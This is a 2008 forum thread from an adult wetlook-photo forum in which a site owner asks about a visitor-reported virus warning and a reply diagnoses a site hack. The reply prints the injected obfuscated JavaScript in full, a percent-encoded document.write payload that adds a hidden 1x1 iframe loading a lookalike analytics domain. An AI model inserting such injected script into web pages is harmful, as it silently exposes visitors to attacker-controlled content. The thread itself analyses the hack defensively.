Wetlook World Forum

Current time: Thu 18/04/24 18:15:21 GMT

Translate page FROM -> TO

Translate page TO <- FROM

Message # 38446.3.1

Subject: Re: Update: New! Misty & Bubbles, set 100. Updated! Starr 10, Jazmine 2.

Date: Mon 29/12/08 21:39:31 GMT

Name: Malvineous

Email:

Website:

Report Abuse or Problem to Nigel at Minxmovies
If you enjoy this forum, then please make a small donation to help
with running costs: (you can change amount)

It looked more like a site hack. It's conceivable that an infection on your PC caused your FTP client to seek out all index.php (InterWet) and index.html (InterWet and Liquid Ladies) files (and one or two non-index ones), download them, infect them and re-upload them, but I doubt that somehow. Odds are it will crop up again soon enough as changing the site password appears not to have prevented another attack.

Basically the following was being added to pages:

<Script Language='Javascript'>

<!--

document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%6F%6F%67%6C%65%2D%61%6E%61%6C%79%74%69%63%73%2E%63%6F%6D%2E%69%2D%61%6D%2D%70%6F%72%6E%6F%2D%73%74%61%72%2E%6E%65%74%2F%70%61%72%75%73%2F%3F%74%3D%32%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%0A%0A%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%68%69%64%64%65%6E%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%22%3E%3C%2F%69%66%72%61%6D%65%3E'));

//-->

</Script>

The above unescapes into the following hidden iframe that appears more concerned with tracking than displaying anything, and now points to a 404:

style="visibility:hidden;position:absolute"></iframe>

In reply to Message (38446.3)

Re: Update: New! Misty & Bubbles, set 100. Updated! Starr 10, Jazmine 2.

By InterWet USA - Mon 29/12/08 17:37:26 GMT

Website:

Hey folks. We are trying to determine the source of this mystery virus. It is NOT showing up on any of my 6 computers.

Could one of you tell me specifically what the virus message says and what Anti-Virus program you're using. It may

help us figure out what's going on here. I have been unable to replicate the virus notification.

Thanks,

Gregg, IW-USA

In reply to Message (38446)

Update: New! Misty & Bubbles, set 100. Updated! Starr 10, Jazmine 2.

By Interwet USA - interwetusa@sbcglobal.net Sat 27/12/08 12:55:13 GMT

Website: http://interwet.waterloggedproductions.com

Saturday 27th InterWet USA update:

Misty & Bubbles set 100 part 1:
80 photos

Jazmine set 2 final part:
34 new photos

Report Abuse or Problem to Nigel at Minxmovies
If you enjoy this forum, then please make a small donation to help with running costs: (you can change amount)